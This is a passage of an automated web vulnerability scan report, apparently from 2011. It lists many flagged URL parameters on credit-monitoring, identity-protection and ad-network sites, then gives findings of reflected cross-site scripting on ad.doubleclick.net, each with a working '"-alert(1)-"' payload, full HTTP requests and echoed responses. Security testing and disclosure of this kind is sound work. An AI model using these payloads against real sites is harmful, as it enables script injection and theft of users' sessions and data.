http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.hoverIntent.minified.js [REST URL parameter 2]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.hoverIntent.minified.js [REST URL parameter 3]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.hoverIntent.minified.js [REST URL parameter 4]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.hoverIntent.minified.js [REST URL parameter 5]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.hoverIntent.minified.js [REST URL parameter 6]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.hoverIntent.minified.js [REST URL parameter 7]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/superfish.js [REST URL parameter 1]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/superfish.js [REST URL parameter 2]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/superfish.js [REST URL parameter 3]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/superfish.js [REST URL parameter 4]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/superfish.js [REST URL parameter 5]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/superfish.js [REST URL parameter 6]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/superfish.js [REST URL parameter 7]
http://www.fightidentitytheft.com/sites/all/themes/fightid/jquery.domec.js [REST URL parameter 1]
http://www.fightidentitytheft.com/sites/all/themes/fightid/jquery.domec.js [REST URL parameter 2]
http://www.fightidentitytheft.com/sites/all/themes/fightid/jquery.domec.js [REST URL parameter 3]
http://www.fightidentitytheft.com/sites/all/themes/fightid/jquery.domec.js [REST URL parameter 4]
http://www.fightidentitytheft.com/sites/all/themes/fightid/jquery.domec.js [REST URL parameter 5]
http://www.fightidentitytheft.com/sites/all/themes/fightid/script.js [REST URL parameter 1]
http://www.fightidentitytheft.com/sites/all/themes/fightid/script.js [REST URL parameter 2]
http://www.fightidentitytheft.com/sites/all/themes/fightid/script.js [REST URL parameter 3]
http://www.fightidentitytheft.com/sites/all/themes/fightid/script.js [REST URL parameter 4]
http://www.fightidentitytheft.com/sites/all/themes/fightid/script.js [REST URL parameter 5]
http://www.flexibilitytheme.com/images/link.gif [REST URL parameter 1]
http://www.gfk.com/PHP_Includes/embed.js.php [width parameter]
http://www.hellonetwork.com/ypsearch.cfm [kw parameter]
http://www.hellonetwork.com/ypsearch.cfm [kw parameter]
http://www.hellonetwork.com/ypsearch.cfm [kw parameter]
http://www.hellonetwork.com/ypsearch.cfm [kw parameter]
http://www.lifelock.com/offers/faces/female/ [promocodehide parameter]
http://www.neudesicmediagroup.com/Advertising.aspx [site parameter]
http://www.nextadvisor.com/credit_report_monitoring/compare.php [REST URL parameter 1]
http://www.nextadvisor.com/credit_report_monitoring/compare.php [REST URL parameter 1]
http://www.nextadvisor.com/credit_report_monitoring/compare.php [REST URL parameter 2]
http://www.nextadvisor.com/credit_report_monitoring/compare.php [a parameter]
http://www.nextadvisor.com/credit_report_monitoring/compare.php [gclid parameter]
http://www.nextadvisor.com/credit_report_monitoring/compare.php [h1 parameter]
http://www.nextadvisor.com/credit_report_monitoring/compare.php [kw parameter]
http://www.nextadvisor.com/credit_report_monitoring/compare.php [name of an arbitrarily supplied request parameter]
http://www.nextadvisor.com/credit_report_monitoring/free_credit_score_review.php [REST URL parameter 1]
http://www.nextadvisor.com/credit_report_monitoring/free_credit_score_review.php [REST URL parameter 1]
http://www.nextadvisor.com/credit_report_monitoring/free_credit_score_review.php [REST URL parameter 2]
http://www.nextadvisor.com/favicon.ico [REST URL parameter 1]
http://www.nextadvisor.com/images/blog_sidebar/internet_fax_sb.jpg [REST URL parameter 1]
http://www.nextadvisor.com/images/blog_sidebar/internet_fax_sb.jpg [REST URL parameter 2]
http://www.nextadvisor.com/images/blog_sidebar/internet_fax_sb.jpg [REST URL parameter 2]
http://www.nextadvisor.com/images/blog_sidebar/internet_fax_sb.jpg [REST URL parameter 3]
http://www.nextadvisor.com/images/blog_sidebar/online_dating_sb.jpg [REST URL parameter 1]
http://www.nextadvisor.com/images/blog_sidebar/online_dating_sb.jpg [REST URL parameter 2]
http://www.nextadvisor.com/images/blog_sidebar/online_dating_sb.jpg [REST URL parameter 2]
http://www.nextadvisor.com/images/blog_sidebar/online_dating_sb.jpg [REST URL parameter 3]
http://www.nextadvisor.com/includes/javascript.php [REST URL parameter 1]
http://www.nextadvisor.com/includes/javascript.php [REST URL parameter 1]
http://www.nextadvisor.com/includes/javascript.php [REST URL parameter 2]
http://www.nextadvisor.com/link.php [REST URL parameter 1]
http://www.nextadvisor.com/pmid [REST URL parameter 1]
http://www.nextadvisor.com/pmid [kw parameter]
http://www.nextadvisor.com/pmid/ [REST URL parameter 1]
http://www.nextadvisor.com/pmid/ [REST URL parameter 1]
http://www.nextadvisor.com/pmid/ [kw parameter]
http://www.nextadvisor.com/pmid/js/jquery.js [REST URL parameter 1]
http://www.nextadvisor.com/pmid/js/jquery.js [REST URL parameter 2]
http://www.nextadvisor.com/pmid/js/jquery.js [REST URL parameter 2]
http://www.nextadvisor.com/pmid/js/jquery.js [REST URL parameter 3]
http://www.nextadvisor.com/pmid/js/jquery.validate.min.js [REST URL parameter 1]
http://www.nextadvisor.com/pmid/js/jquery.validate.min.js [REST URL parameter 2]
http://www.nextadvisor.com/pmid/js/jquery.validate.min.js [REST URL parameter 2]
http://www.nextadvisor.com/pmid/js/jquery.validate.min.js [REST URL parameter 3]
http://www.nextadvisor.com/pmid/style.css [REST URL parameter 1]
http://www.nextadvisor.com/pmid/style.css [REST URL parameter 1]
http://www.nextadvisor.com/pmid/style.css [REST URL parameter 2]
http://www.oracle.com/dm/design/events/images/spacer.gif [REST URL parameter 2]
http://www.oracle.com/dm/design/events/images/spacer.gif [REST URL parameter 3]
http://www.oracle.com/dm/design/events/images/spacer.gif [REST URL parameter 4]
http://www.pcworld.com/pcworldconnect/comment_registration [callingurl parameter]
http://www.positivesearchresults.com/templates/gk_corporate/lib/scripts/menu.php [speed parameter]
http://www.reputationengineer.com/wp-content/plugins/cforms/lib_ajax.php [rs parameter]
http://www.reputationmanagementconsultants.com/ [gclid parameter]
http://www.reputationmanagementconsultants.com/ [utm_campaign parameter]
http://www.reputationmanagementconsultants.com/ [utm_content parameter]
http://www.reputationmanagementconsultants.com/ [utm_medium parameter]
http://www.reputationmanagementconsultants.com/ [utm_source parameter]
http://www.reputationmanagementconsultants.com/ [utm_term parameter]
https://www.senderscore.org/landing/ppcregistration/index.php [campid parameter]
https://www.senderscore.org/landing/ppcregistration/index.php [gclid parameter]
https://www.senderscore.org/landing/ppcregistration/index.php [name of an arbitrarily supplied request parameter]
https://www.senderscore.org/landing/ppcregistration/index.php [s_kwcid parameter]
http://www.swisscom.ch/res/hilfe/kontakt/index.htm [name of an arbitrarily supplied request parameter]
http://www.swisscom.ch/res/hilfe/kontakt/index.htm [name of an arbitrarily supplied request parameter]
http://www.swisscom.ch/res/hilfe/kontakt/index.htm [name of an arbitrarily supplied request parameter]
https://www.trustedid.com/idfide01/ [promoCodeRefIde parameter]
https://www.trustedid.com/idfide01/ [promoCodeRefIde parameter]
https://www.trustedid.com/idfide01/ [promoCodeRefIdf parameter]
https://www.trustedid.com/suzeidprotector/ [email parameter]
https://www.trustedid.com/suzeidprotector/ [first_name parameter]
https://www.trustedid.com/suzeidprotector/ [last_name parameter]
http://www.upsellit.com/upsellitJS4.jsp [qs parameter]
http://www.upsellit.com/upsellitJS4.jsp [trackingInfo parameter]
http://www.hotelclub.com/ [Referer HTTP header]
http://www.nextadvisor.com/credit_report_monitoring/compare.php [Referer HTTP header]
http://www.nextadvisor.com/link.php [Referer HTTP header]
http://www.nextadvisor.com/pmid [Referer HTTP header]
http://www.nextadvisor.com/pmid/ [Referer HTTP header]
http://ar.voicefive.com/bmx3/broker.pli [BMX_3PC cookie]
http://ar.voicefive.com/bmx3/broker.pli [BMX_G cookie]
http://ar.voicefive.com/bmx3/broker.pli [UID cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p86169922 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p86204458 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p90175839 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p91300630 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p97174789 cookie]
http://ar.voicefive.com/bmx3/survey_splash.pli [BMX_3PC cookie]
http://ar.voicefive.com/bmx3/survey_splash.pli [BMX_G cookie]
http://ar.voicefive.com/bmx3/survey_splash.pli [UID cookie]
http://ar.voicefive.com/bmx3/survey_splash.pli [ar_p81479006 cookie]
http://ar.voicefive.com/bmx3/survey_splash.pli [ar_p90175839 cookie]
http://ar.voicefive.com/bmx3/survey_splash.pli [ar_p91300630 cookie]
http://ar.voicefive.com/bmx3/survey_splash.pli [ar_p97174789 cookie]
http://ar.voicefive.com/bmx3/survey_splash.pli [ar_s_p81479006 cookie]
http://breathe.c3metrics.com/c3realview.js [C3UID cookie]
http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [ZEDOIDA cookie]
http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [ZEDOIDA cookie]
http://d7.zedo.com/bar/v16-405/d2/jsc/fmr.js [ZEDOIDA cookie]
http://d7.zedo.com/bar/v16-405/d3/jsc/fm.js [ZEDOIDA cookie]
http://s18.sitemeter.com/js/counter.asp [IP cookie]
http://s18.sitemeter.com/js/counter.js [IP cookie]
http://seg.sharethis.com/getSegment.php [__stid cookie]
http://www.creditchecktotal.com/Login.aspx [SiteID parameter]
http://www.creditchecktotal.com/Login.aspx [SiteVersionID parameter]
http://www.creditchecktotal.com/Login.aspx [bcd parameter]
http://www.creditchecktotal.com/Login.aspx [name of an arbitrarily supplied request parameter]
http://www.creditchecktotal.com/Login.aspx [sc parameter]
http://www.creditchecktotal.com/Order1.aspx [SiteID parameter]
http://www.creditchecktotal.com/Order1.aspx [SiteVersionID parameter]
http://www.creditchecktotal.com/Order1.aspx [areaid parameter]
http://www.creditchecktotal.com/Order1.aspx [bcd parameter]
http://www.creditchecktotal.com/Order1.aspx [name of an arbitrarily supplied request parameter]
http://www.creditchecktotal.com/Order1.aspx [pkgid parameter]
http://www.creditchecktotal.com/Order1.aspx [sc parameter]
http://www.creditreport.com/dni/Order1.aspx [REST URL parameter 1]
http://www.creditreport.com/dni/Order1.aspx [SiteID parameter]
http://www.creditreport.com/dni/Order1.aspx [SiteVersionID parameter]
http://www.creditreport.com/dni/Order1.aspx [areaid parameter]
http://www.creditreport.com/dni/Order1.aspx [bcd parameter]
http://www.creditreport.com/dni/Order1.aspx [name of an arbitrarily supplied request parameter]
http://www.creditreport.com/dni/Order1.aspx [pkgid parameter]
http://www.creditreport.com/dni/Order1.aspx [sc parameter]
http://www.experiandirect.com/triplealert/Order1.aspx [SiteID parameter]
http://www.experiandirect.com/triplealert/Order1.aspx [SiteVersionID parameter]
http://www.experiandirect.com/triplealert/Order1.aspx [areaid parameter]
http://www.experiandirect.com/triplealert/Order1.aspx [bcd parameter]
http://www.experiandirect.com/triplealert/Order1.aspx [name of an arbitrarily supplied request parameter]
http://www.experiandirect.com/triplealert/Order1.aspx [pkgid parameter]
http://www.experiandirect.com/triplealert/Order1.aspx [sc parameter]
http://www.infusionsoft.com/demo [LeadSource cookie]
http://www.lifelock.com/about/leadership/management/ [LifeLockEnrollment cookie]
http://www.lifelock.com/about/lifelock-in-the-community/ [LifeLockEnrollment cookie]
http://www.lifelock.com/guarantee/ [LifeLockEnrollment cookie]
http://www.lifelock.com/how-it-works/ [LifeLockEnrollment cookie]
http://www.lifelock.com/identity-theft/ [LifeLockEnrollment cookie]
http://www.lifelock.com/lifelock-for-people [LifeLockEnrollment cookie]
http://www.lifelock.com/lifelock-for-people [LifeLockEnrollment cookie]
http://www.lifelock.com/offers/faces/female/ [LifeLockEnrollment cookie]
http://www.lifelock.com/offers/faces/female/ [LifeLockEnrollment cookie]
http://www.lifelock.com/services/ [LifeLockEnrollment cookie]
http://www.lifelock.com/services/ [LifeLockEnrollment cookie]
http://www.lifelock.com/services/command-center/ [LifeLockEnrollment cookie]
http://www.lifelock.com/services/command-center/ [LifeLockEnrollment cookie]

6.1. http://ad.doubleclick.net/adi/N2886.151350.QUANTCAST.COM/B5403001.15 [labels parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N2886.151350.QUANTCAST.COM/B5403001.15

Issue detail

The value of the labels request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f993c"-alert(1)-"20f0488e922 was submitted in the labels parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N2886.151350.QUANTCAST.COM/B5403001.15;sz=160x600;click=http://exch.quantserve.com/r?a=p-03tSqaTFVs1ls&labels=_qc.clk,_click.adserver.rtb,_click.rand.43369f993c"-alert(1)-"20f0488e922&rtbip=63.251.90.149&rtbdata2=EAAaDk1ldHJvUENTX1EyLTExILgLKKgXMMvbHjozaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwQgcI1sUHEPcBSgcImrUGEI1ZUAFaKHlUQ19oTWt5NTlYUU1MdUh4R0x6Z01sajY0RFFiT3VBbTJNbEJmMFloGnUEsIU_gAHPk_nrBpABhKsHoAEBqAGmswewAQI&redirecturl2=;ord=43369? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303665997&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303647997762&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303647997767&frm=1&adk=2614322350&ga_vid=1901204360.1303647998&ga_sid=1303647998&ga_hid=1446633403&ga_fc=0&u_tz=-300&u_his=4&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 12:37:58 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7318

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
3/f/192/%2a/k%3B240320597%3B0-0%3B0%3B62289813%3B2321-160/600%3B41844251/41862038/1%3B%3B%7Esscs%3D%3fhttp://exch.quantserve.com/r?a=p-03tSqaTFVs1ls&labels=_qc.clk,_click.adserver.rtb,_click.rand.43369f993c"-alert(1)-"20f0488e922&rtbip=63.251.90.149&rtbdata2=EAAaDk1ldHJvUENTX1EyLTExILgLKKgXMMvbHjozaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwQgcI1sUHEPcBSgcImrUGEI1ZUAFaKHlUQ19oTWt5NTlYUU1MdUh4R0x6Z01sajY
...[SNIP]...

6.2. http://ad.doubleclick.net/adi/N2886.151350.QUANTCAST.COM/B5403001.15 [redirecturl2 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N2886.151350.QUANTCAST.COM/B5403001.15

Issue detail

The value of the redirecturl2 request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 499fc"-alert(1)-"cfc85e2b456 was submitted in the redirecturl2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N2886.151350.QUANTCAST.COM/B5403001.15;sz=160x600;click=http://exch.quantserve.com/r?a=p-03tSqaTFVs1ls&labels=_qc.clk,_click.adserver.rtb,_click.rand.43369&rtbip=63.251.90.149&rtbdata2=EAAaDk1ldHJvUENTX1EyLTExILgLKKgXMMvbHjozaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwQgcI1sUHEPcBSgcImrUGEI1ZUAFaKHlUQ19oTWt5NTlYUU1MdUh4R0x6Z01sajY0RFFiT3VBbTJNbEJmMFloGnUEsIU_gAHPk_nrBpABhKsHoAEBqAGmswewAQI&redirecturl2=499fc"-alert(1)-"cfc85e2b456 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303665997&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303647997762&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303647997767&frm=1&adk=2614322350&ga_vid=1901204360.1303647998&ga_sid=1303647998&ga_hid=1446633403&ga_fc=0&u_tz=-300&u_his=4&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 7222
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 24 Apr 2011 12:39:39 GMT
Expires: Sun, 24 Apr 2011 12:39:39 GMT

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwQgcI1sUHEPcBSgcImrUGEI1ZUAFaKHlUQ19oTWt5NTlYUU1MdUh4R0x6Z01sajY0RFFiT3VBbTJNbEJmMFloGnUEsIU_gAHPk_nrBpABhKsHoAEBqAGmswewAQI&redirecturl2=499fc"-alert(1)-"cfc85e2b456http://www.metropcs.com/android?utm_source=DART&utm_medium=Display%2BMedia&utm_campaign=MPCS%2BGM%2BQ2%2BInterim%2B(5403001)");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque
...[SNIP]...

6.3. http://ad.doubleclick.net/adi/N2886.151350.QUANTCAST.COM/B5403001.15 [rtbdata2 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N2886.151350.QUANTCAST.COM/B5403001.15

Issue detail

The value of the rtbdata2 request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f76fe"-alert(1)-"0f47eb8b094 was submitted in the rtbdata2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N2886.151350.QUANTCAST.COM/B5403001.15;sz=160x600;click=http://exch.quantserve.com/r?a=p-03tSqaTFVs1ls&labels=_qc.clk,_click.adserver.rtb,_click.rand.43369&rtbip=63.251.90.149&rtbdata2=EAAaDk1ldHJvUENTX1EyLTExILgLKKgXMMvbHjozaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwQgcI1sUHEPcBSgcImrUGEI1ZUAFaKHlUQ19oTWt5NTlYUU1MdUh4R0x6Z01sajY0RFFiT3VBbTJNbEJmMFloGnUEsIU_gAHPk_nrBpABhKsHoAEBqAGmswewAQIf76fe"-alert(1)-"0f47eb8b094&redirecturl2=;ord=43369? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303665997&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303647997762&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303647997767&frm=1&adk=2614322350&ga_vid=1901204360.1303647998&ga_sid=1303647998&ga_hid=1446633403&ga_fc=0&u_tz=-300&u_his=4&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 12:39:12 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7318

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
gXMMvbHjozaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwQgcI1sUHEPcBSgcImrUGEI1ZUAFaKHlUQ19oTWt5NTlYUU1MdUh4R0x6Z01sajY0RFFiT3VBbTJNbEJmMFloGnUEsIU_gAHPk_nrBpABhKsHoAEBqAGmswewAQIf76fe"-alert(1)-"0f47eb8b094&redirecturl2=http%3a%2f%2fwww.metropcs.com/android%3Futm_source%3DDART%26utm_medium%3DDisplay%252BMedia%26utm_campaign%3DMPCS%252BGM%252BQ2%252BInterim%252B%285403001%29");
var fscUrl = url;
var fsc
...[SNIP]...

6.4. http://ad.doubleclick.net/adi/N2886.151350.QUANTCAST.COM/B5403001.15 [rtbip parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N2886.151350.QUANTCAST.COM/B5403001.15

Issue detail

The value of the rtbip request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 23c5b"-alert(1)-"62d3592bb19 was submitted in the rtbip parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N2886.151350.QUANTCAST.COM/B5403001.15;sz=160x600;click=http://exch.quantserve.com/r?a=p-03tSqaTFVs1ls&labels=_qc.clk,_click.adserver.rtb,_click.rand.43369&rtbip=63.251.90.14923c5b"-alert(1)-"62d3592bb19&rtbdata2=EAAaDk1ldHJvUENTX1EyLTExILgLKKgXMMvbHjozaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwQgcI1sUHEPcBSgcImrUGEI1ZUAFaKHlUQ19oTWt5NTlYUU1MdUh4R0x6Z01sajY0RFFiT3VBbTJNbEJmMFloGnUEsIU_gAHPk_nrBpABhKsHoAEBqAGmswewAQI&redirecturl2=;ord=43369? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303665997&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303647997762&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303647997767&frm=1&adk=2614322350&ga_vid=1901204360.1303647998&ga_sid=1303647998&ga_hid=1446633403&ga_fc=0&u_tz=-300&u_his=4&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 12:38:33 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7318

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
20597%3B0-0%3B0%3B62289813%3B2321-160/600%3B41844251/41862038/1%3B%3B%7Esscs%3D%3fhttp://exch.quantserve.com/r?a=p-03tSqaTFVs1ls&labels=_qc.clk,_click.adserver.rtb,_click.rand.43369&rtbip=63.251.90.14923c5b"-alert(1)-"62d3592bb19&rtbdata2=EAAaDk1ldHJvUENTX1EyLTExILgLKKgXMMvbHjozaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwQgcI1sUHEPcBSgcImrUGEI1ZUAFaKHlUQ19oTWt5NTlYUU1MdUh4R0x6Z01sajY0RFFiT3VBbTJNbEJmMFl
...[SNIP]...

6.5. http://ad.doubleclick.net/adi/N2886.151350.QUANTCAST.COM/B5403001.15 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N2886.151350.QUANTCAST.COM/B5403001.15

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eb328"-alert(1)-"9fe4dc0640 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N2886.151350.QUANTCAST.COM/B5403001.15;sz=160x600;click=http://exch.quantserve.com/r?a=p-03tSqaTFVs1lseb328"-alert(1)-"9fe4dc0640&labels=_qc.clk,_click.adserver.rtb,_click.rand.43369&rtbip=63.251.90.149&rtbdata2=EAAaDk1ldHJvUENTX1EyLTExILgLKKgXMMvbHjozaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwQgcI1sUHEPcBSgcImrUGEI1ZUAFaKHlUQ19oTWt5NTlYUU1MdUh4R0x6Z01sajY0RFFiT3VBbTJNbEJmMFloGnUEsIU_gAHPk_nrBpABhKsHoAEBqAGmswewAQI&redirecturl2=;ord=43369? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303665997&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303647997762&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303647997767&frm=1&adk=2614322350&ga_vid=1901204360.1303647998&ga_sid=1303647998&ga_hid=1446633403&ga_fc=0&u_tz=-300&u_his=4&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=8
